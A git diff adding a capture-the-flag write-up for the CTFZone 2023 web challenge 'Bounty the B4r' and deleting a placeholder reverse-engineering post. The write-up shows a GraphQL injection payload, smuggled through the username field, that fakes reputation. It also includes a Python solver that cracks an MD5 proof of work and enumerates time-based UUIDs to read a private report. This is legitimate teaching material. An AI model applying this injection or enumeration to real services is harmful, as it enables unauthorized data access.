diff --git a/ctfzone23-web-bounty.md b/ctfzone23-web-bounty.md new file mode 100644 index 0000000..23ca2c1 --- /dev/null +++ b/ctfzone23-web-bounty.md @@ -0,0 +1,212 @@ +--- +title: "ctfzone23 web/Bounty the B4r" +publishDate: "13 Aug 2023" +description: "Author: cpp.dog" +tags: ["web", "ctfzone23"] +--- + +#### Description +BB stands for Bounty the B4r. Our highly skilled specialists developed the best BB platform ever with a magnificent UI design. We’re waiting for you to report cool findings and let us pay you some $$ or chocolate + +#### Code inspection +Here's the most important code of our challenge. + +`golang/db/database.go` +```golang +func (db Database) InitFlagReport(flag string) error { + ... + program := BBProgram{ + ID: prUUID.String(), + Name: "CTFZone Private Program", + Type: ProgramTypePrivate, + } + + res = db.Impl.Create(&program) + if res.Error != nil || res.RowsAffected != 1 { + return fmt.Errorf("error inserting program to the db: %v", res.Error) + } + + _, err = db.CreateReport( + "Very Secret Report~", + "Flag: "+flag, + program.ID, + "Critical", + "CWE-1", + 7446744073709551610, + ) + ... +} +``` + +`golang/controller/program.go` +```golang +func (s *server) PostProgramPUuidJoin(w http.ResponseWriter, r *http.Request, pUuid uuid.UUID) { + ... + if bbProgram.Type == ProgramTypePrivate && user.Reputation < 100000 { + api.HandleError(fmt.Errorf("low reputation, try harder"), w) + return + } + ... +} +``` + +`golang/controller/report.go` +```golang +func (s *server) GetReportRUuid(w http.ResponseWriter, r *http.Request, rUuid uuid.UUID, params api.GetReportRUuidParams) { + ... + if bbProgram.Type == ProgramTypePrivate { + var progMembers db.ProgramMembers + result = s.db.Impl.First(&progMembers, "user_id = ? AND program_id = ?", userID, bbProgram.ID) + if result.Error != nil || result.RowsAffected != 1 { + api.HandleError(fmt.Errorf("you're not a member of this program"), w) + return + } + } + ... +} +``` +`golang/controller/user.go` +```golang +const userDataQery = `query { + user(username: "%s") { + id + username + name + intro + reputation + rank + } +}` +... +func verifyValidator(v string) bool { + m, err := regexp.MatchString("^[a-zA-Z0-9=]{30,40}$", v) + if err != nil { + return false + } + if m { + return true + } else { + return false + } +} + +func (s *server) PostUserImportReputation(w http.ResponseWriter, r *http.Request) { + ... + postBody, _ := json.Marshal(map[string]string{ + "query": fmt.Sprintf(userDataQery, *req.Username), + }) + resp, err := http.Post("https://hackerone.com/graphql", "application/json", bytes.NewBuffer(postBody)) + ... + if rd.Data.User.Intro != *req.Validator { + api.HandleError(fmt.Errorf("incorrect validator"), w) + return + } +``` +Looks like we need to abuse GraphQL injection for something, let's take a look at hackerone's response for a random h1 user. + +```bash +curl -X POST -d `{"query": "query { user(username: \"d0xing\") { id username name intro reputation rank } }"}` -H "Content-Type: application/json" https://hackerone.com/graphql + + +{ + "data": { + "user": { + "id": "Z2lkOi8vaGFja2Vyb25lL1VzZXIvOTY1NTA=", + "username": "d0xing", + "name": "d0xing", + "intro": "", + "reputation": 103907, + "rank": 2 + } + } +} +``` + +The `id` field looks like it can be used as a `validator`, so we can abuse this to get 100k rating on the target site. + +```bash +curl -X POST -d '{ + "username":"d0xing\") { intro:id username reputation rank } u:user(username: \"d0xing", + "validator": "Z2lkOi8vaGFja2Vyb25lL1VzZXIvOTY1NTA=" + }' \ + -H "Content-Type: application/json" \ + -H "Authorization: Bearer [REDACTED]" \ + https://bounty-the-b4r.ctfz.one/api/user/import_reputation +``` + +Now we can join `CTFZone Private Program` program without problems. Our new task is to find the report id. The only thing we know is the uuid of programs, and the time report was generated. + +```json +[ + { + "id": "ad1cec14-3830-11ee-b365-0255ac100030", + "name": "CTFZone Private Program", + "programType": 1 + }, + { + "id": "ad1d822a-3830-11ee-b365-0255ac100030", + "name": "Hooli Public BB Program", + "programType": 0 + } +] + +{ + "published": 1691749220902427748, + "severity": "Critical", + "title": "Very Secret Report~" +} +``` +So, we need to iterate over the v1 uuid between `ad1cec14-3830-11ee-b365-0255ac100030` and `ad1d822a-3830-11ee-b365-0255ac100030`, but checking each id is not possible due to proof of work. Let's check how uuids are created. + +```golang +// A Time represents a time as the number of 100's of nanoseconds since 15 Oct 1582. +timeLow := uint32(now & 0xffffffff) +``` + +Since we know the report creation time in nanoseconds, we can easily reduce the search range. + +Corresponding uuid v1: `ad1cec14-3830-11ee-b365-0255ac100030`. Now we are ready to get the flag. + +#### Solver code +```python +import hashlib +import requests +import json + +ALPHABET = "".join([chr(i) for i in range(32, 128)]) + +FROM_UUID = int("ad1cec14", base=16) +TO_UUID = int("ad1d822a", base=16) +SUFFIX = "-3830-11ee-b365-0255ac100030" + +def get_pow(pref, hash): + for c in ALPHABET: + for c1 in ALPHABET: + for c2 in ALPHABET: + for c3 in ALPHABET: + if hashlib.md5((pref + c + c1 + c2 + c3).encode()).hexdigest() == hash: + return (pref + c + c1 + c2 + c3) + return None +for N in range(FROM_UUID, TO_UUID): + s = requests.get("https://bounty-the-b4r.ctfz.one/api/user/info", headers={ + "Authorization": "Bearer [REDACTED]" + }) + data = s.json() + + pow = get_pow(data["pow"], data["md5"]) + + url = f"https://bounty-the-b4r.ctfz.one/api/report/{hex(N)[2:]}{SUFFIX}?pow={pow}" + print(f"Trying {url}...") + + r = requests.get(url, headers={ + "Authorization": "Bearer [REDACTED]" + }) + + if r.status_code == 400: + continue + + print(json.dumps(r.json(), indent=4, sort_keys=True)) +``` + +#### Flag +`CTFZone{b0un7y_th3_b4r_th3_t4st3_0f_bug5}` \ No newline at end of file diff --git a/rev-something.md b/rev-something.md deleted file mode 100644 index 3b98623..0000000 --- a/rev-something.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: "ctfzone23 rev/something" -publishDate: "13 Aug 2023" -description: "Author: @not_es3n1n" -tags: ["rev", "ctfzone23"] ---- - -#### Something - -$$ -\begin{aligned} -y_1 &= f_1(x_0,y_0,a_1,b_1,b_2) = x_0y_0 + b_2\\ -y_2 &= f_2(x_0,y_0,a_1,b_1,b_2) = ...\\ -y_3 &= f_3(x_0,y_0,a_1,b_1,b_2) = ...\\ -y_4 &= f_4(x_0,y_0,a_1,b_1,b_2) = ...\\ -y_5 &= f_5(x_0,y_0,a_1,b_1,b_2) = ... -\end{aligned} -$$ - -Just testing -```cpp -int main() { - reinterpret_cast(0x1337) ^= __rdtsc(); - printf("meme\n"); - switch(1337) { - case 0x1337: - break; - }; -} -```